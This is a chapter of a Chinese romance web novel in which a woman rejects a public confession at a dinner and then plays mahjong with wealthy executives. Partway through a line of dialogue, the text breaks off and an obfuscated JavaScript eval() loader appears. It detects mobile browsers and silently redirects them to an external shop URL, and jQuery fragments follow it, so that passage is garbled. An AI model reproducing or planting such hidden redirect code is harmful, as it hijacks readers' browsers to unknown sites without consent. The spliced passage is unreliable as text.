拍摄结束后谭棱想请两位师妹一起吃饭,鹿昕她们说,需要换掉cos服拒绝了他的邀请。
平时他和鹿昕实在没什么交集,只怕今天分开后,又要大路朝天各走一边,所以想要在晚餐时向鹿昕表白,争取一个追求的机会。
谭棱通知了卓导和场务们晚上聚餐,让他们邀请鹿昕和虞令雅,师妹都是谦和的性格,必然不好意思回绝,果然她们同意了邀请。
鹿昕的家离科创园更近,两人回到家,卸妆洗澡,别看coser脸上妆浓,实际身上也没少下功夫。
收拾完想再化妆,看眼时间已经接近约定时间,两人又匆匆忙忙出门。
“快两位大美女来了。”眼尖的场务小姐姐认出了素颜的她们。
聚餐的饭店是科创园里明星餐厅,一家以沪市本帮味出名的私房菜,一栋三层的小洋房在高楼大厦间显得温馨惬意。
水晶吊灯洒下温暖的光,脚下是深棕色的老式拼花木地板,桌椅是故意做旧的木头,混着一点若有若无的花香,一楼的圆桌适合同事聚餐,二楼是私密性强的包房。
谭棱身边留有两个空位,她俩坐下很快融入,除了卓导都是年龄相近的人,聊聊天南地北,气氛和谐,人人都能接上几句话。
酒酣饭饱,橘黄色的灯光映在每个人脸上,鹿昕虽不至于一瓶倒,但也没怎么喝过。
气氛太好,经不住哥哥姐姐们的吆喝,也尝了一小口。
聚餐不为商务,怎么开心怎么来,女孩们点的果酒,入口甜丝丝,比饮料多了点辣。
鹿昕觉得好喝,捧着酒杯多喝了几口。
经过热闹的气氛烘托,脸上红扑扑,流露出女孩的娇媚。
旁边的谭棱看得心痒痒,开餐到现在食不知味,别人敬一杯他喝一杯。
胃里火辣辣的,心里更是压不住那团邪火。
他一口喝完杯中的白酒,站起身从身后的公文包里掏出一个丝绒盒。
全场寂静,目光一致落在主位,谭棱打开了盒子,光照进去,里面是一条细细的链子,吊坠是一颗碎钻的星星。
“小鹿,我知道很突然,你放心在大家面前表白不是为了逼你同意和我在一起,而是想要众人见证,我喜欢你,你能不能给我一个追求你的机会。”
她没听错吧,不想强迫还选在大庭广众之下。
鹿昕坐立难安,最终还是站起来,众人的视线在两人之间来回打转。
“师哥,要不这事我们私下再聊。”
谭棱好歹也是集团二把手,在员工面前被拒,面上肯定不好看。
鹿昕还在考虑爷们要脸,谭棱接着又说:“师妹,在导师办公室里见到你的那一刻,我体验到爱情的具体模样,吃饭时会想你,睡觉时会想你,我想再不告诉你我的心意,恐怕我不能正常生活了。”
虞令雅听得脚趾要在地上扣出芭比城堡,忍住想拉着鹿昕跑的冲动。
满是对拉着她来拍宣传片的懊恼,小鹿一段恋爱没谈,感情经历倒是丰富,高中时被霸凌,大学时被欺骗,研究生……被赶鸭子上架。
虞令雅也站起身,解围说:“师哥,私密的事不好在人前聊,我们散场再说。”
谭棱铁了心了油盐不进,更加坚定地说:“我只是表达自己的心意,没有想以此要挟,小鹿你就一句话,我要追你行吗?”
鹿昕不行在嘴里打转,刚蹦出一个字,桌上的手机铃响起。
她看也不看,直接放在耳边:“喂,您好。”
“来三楼。”
低沉暗哑的嗓音通过手机传向鹿昕的耳膜。
俞含章在三楼?这通电话来得及时,很难不想到是故意为之。
“嗯好。”
鹿昕挂掉电话,“师哥,你嘴上说不想耍心思强迫我答应,可你还是做了,你想追我,我明确告诉你我不同意,所以我还要谢谢你没有付诸行动,给我省去不少麻烦。”
“家里哥哥找我有急事,你们继续吃,我先走了。”她递给虞令雅一个眼神,拿起包快步离开包房。
谭棱合上丝绒盒,默默坐下,酒意慢慢淡去,他察觉到错得有多离谱。
在他的计划里当众表白是为了说明对鹿昕的在意,恰恰反映了他的不在意,不在意她的意愿,不尊重她的隐私。
大家继续欢声笑语,仿佛从来没出现过插曲,领导的面子,员工的担子。
在场的装傻都有一套,可不敢再刺激领导。
沿着木楼梯向上,三楼别有洞天,一个个被隔开的包厢是棋牌室,台球厅,电影院,这里更像是一个私人的娱乐场所。
食物链顶端的小鹿:【你在哪间包房?】
莱宗俞含章:【棋牌室,直接推门进。】
鹿昕走近,听到嗡嗡的说话声,敲门进去。
空气中飘散着几缕烟丝,不像日常闻到的呛人。
鹿昕没想到的是俞含章手里也掐着根烟,另一只手指尖摩挲着牌面。
今天俞含章一次次带给鹿昕冲击,原来的他就像一汪深潭,沉寂幽深,现如今深潭泛起涟漪,她似乎触摸到俞含章面具下的冰山一角。
他们在玩麻将。
在众人的目光下,鹿昕从墙角搬来一把椅子坐到俞含章身边,勾着头瞅牌,她穿着修身的黑毛衣,将脖颈显得更加纤细。
“你们继续,看牌不说话,我懂的。”
俞含章眉头一挑,侧身让出点空:“没事,你只看我的牌说话也没事。”他把手里的烟捻灭。
手里有烟的纷纷掐灭,有眼力的人去窗边把窗户留出一小条缝,散味的同时也不至于冷。
牌局继续,俞含章从面前的牌中扔了一个出去,转头看着她泛红的脸颊。
“刚才你喝酒了?”
“一点点。”
话语结束后,场面就此安静下来,沙发上的人静静玩手机,牌桌上的人光扔牌也不说话,发出清脆的碰撞声。
“你们也玩麻将,还挺接地气的,我还以为一般玩的都是澳洲扑克之类的。”
不知是谁发出一声嗤笑。
“他们不会玩,跟他们一起玩牌,也就麻将能有来回,”俞含章靠着扶手,嘴角勾起,笑得懒散,“澳洲扑克都知道,看样子你会,有机会我带你去澳门玩玩。”
“一点点,略懂。”鹿昕掐着指尖比划。
俞含章说:“看样麻将你也会,玩完这局你来。”
鹿昕:“你们玩得多大的,我感觉不是我能玩起的。”
其他人巴不得赶快换人,着急说:“不大,五十,一百。”
“这还不大。”鹿昕看向仅认识的两张脸,都是集团老总,她竟然和一群资产上亿的人讨论赌资。
俞含章指了指眼前一盒圆牌,类似赌场里的筹码。
“我赢得够你玩的,一直输也没事,玩吧。”
整张牌桌也就他面前的筹码多,其余人面前零零散散。
有来有回?有来没回还差不多。
阚桦按捺不住,插嘴问:“小姐姐,你叫什么名字?自我介绍一下,我是阚桦,格林集团的董事长。”
牌桌上的人轮番自我介绍,“方牧,江沉杨。”
“你们好,我叫鹿昕……嗯,没了。”
她虽然没有牛逼哄哄的后缀,但胜在自信,笑得温婉大方。
江沉杨金丝眼镜下的目光落在她身上,带着探究,语气疑惑:“鹿小姐看着有些眼熟啊,我们见过?”
鹿昕被他问得奇怪,在脑中搜寻他的脸,眼尾微挑,五官凌厉,一副薄情寡义的模样。
他长得突出,不是传统意义上的帅,鹿昕见过应该不会忘记,她摇摇头。
“她是鹿周沛的妹妹。”俞含章一句话隔开江沉杨继续探究的眼神,又轻声问鹿昕,“要喝点什么吗?我让侍应生帮你准备。”
“奶茶有吗?”
“可能要现点,等会行吗?”
“那我不喝了,别麻烦了。”
江沉杨恍然大悟,难怪看鹿昕总感觉有点眼熟,原来是故人之妹。
他语气幽幽,引诱地说:“妹妹,喝什么奶茶,喝酒啊,我们这最不缺的就是酒,来给妹妹拿两瓶新到的果子酒。”
“白酒什么的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525988|203501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还是少碰,果酒还是可以喝一点的,甜滋滋的,像饮料一样。”
俞含章先接过递来的酒,幽深的眼眸无声地问她。
“想喝。”
鹿昕被先前下肚的酒烧得已经不知道天地为何物,眨巴眼大着胆子要。
俞含章嘱咐说:“少喝点。”
他不知道她的酒量,也不知道她在楼下已经喝过酒了,想来果酒喝点也不醉人,便给她了。
方牧听得一头雾水:“鹿周沛又是哪位?”
“你们又背着我建新群了?”
阚桦无语,他高中后就跑去国外,几个人建个新群约着打球被他记到现在。
“他俩大学同学,不是哥们新群这事你还要记多久?”
方牧气愤:“记一辈子,你们暗渡陈仓,还不准我嘴两句。”
一局结束,俞含章起身将位置让出来。
鹿昕没扭捏,和他换了位置:“承让了各位。”
江沉杨眉头一挑:“哟,妹妹口气不小,还没开始呢。”
俞含章倒了杯酒,送到鹿昕手边。
在座的没人见过俞总端茶倒水的时候,互相递了个揶揄的眼神。
鹿昕喝了酒胆子大了不少,跟着出牌都大开大合,“吃,杠,胡了,”活脱脱像个整天流连赌场的赌鬼。
一连几局都是她赢,筹码都搜刮到了自己面前。
江沉杨叹气,哀怨地说:“妹妹,看不出来,你哥的牌那么臭,没想到你还是个行家。”
今天俞含章手气不错,把他们赢得哀声载道,本想坑一坑鹿昕,没想到她比俞含章还猛,在她手下硬是一场都没赢过。
鹿昕还是笑嘻嘻的那句话:“承让了,家族底蕴,我爷爷是个大赌鬼来着,我可能遗传了,但也就平常玩玩能赢个两局要是真遇上会玩的,恐怕能将裤衩子都输不见。”
她把面前的筹码又一人一排分了出去:“我们继续。”
其他人哭笑不得,江沉杨挑眉:“妹妹,还有玩的必要吗?我们又不是受虐狂,一个不行,来一对。”
鹿昕看向俞含章,她眼里蒙上一层雾蒙蒙的水汽,睫毛扑闪,那层水光跟着晃动。
天地可鉴,她只是想问俞含章结不结束,没想仗势欺人。
俞含章垂眸,淡淡地看着她。
和家里的侄女一样爱撒娇,每每侄女露出这种表情,他总是心软投降。
他扫了在座的人一眼,不带任何情绪。
阚桦慌忙把麻将推进洗牌机:“玩玩玩,我们接着玩。”
鹿昕给虞令雅发了条信息,得到她没喝醉的回答后放心下来。
“俞含章,你怎么知道我在楼下?”
阚桦抢着回答:“妹妹,楼下饭桌上有眼线,我的线人告诉我你被当众表白,似乎是不太愿意,他听了就给你打了通电话,电话及时不?”
鹿昕比了个赞:“及时。”
阚桦瞥了眼俞含章,后者看到他的眼神后,又低头给鹿昕倒了杯酒。
他莞尔一笑:“妹妹你不喜欢我的合伙人吗,谭棱人帅性格好,你们小姑娘不都喜欢那一类吗?”
鹿昕:“谭师哥,他人很好,可是我不心动呐。”
“那你喜欢什么样的?哥给你介绍,年上温柔系,年下小奶狗?”说着摇摇头,“你的年龄再年下就要犯罪了。”
鹿昕胸前比叉:“我们大女人不成就一番事业前是不会沉迷风花雪月的。”
话是这么说,但父母的恩爱让她很期待能和一位志同道合的伴侣一起看每个朝阳初升,星河璀璨。
这也是半年前任由朱昶旭接近的原因,他总是无微不至地照顾她每个小心思,任性也好,撒娇也罢,只要她情绪不对,马上想办法哄她开心。
她差一点,只差一点就同意了。
阚桦笑得直拍桌子:“你和俞含章用现在网上的话说,简直就是无情道优秀毕业生,他可不就是一直为了事业单着,你们真是低山臭水遇知音。”
眼看他越说越口无遮拦,俞含章低沉地吓止:“阚桦够了,别欺负她,她哥托我照顾她。”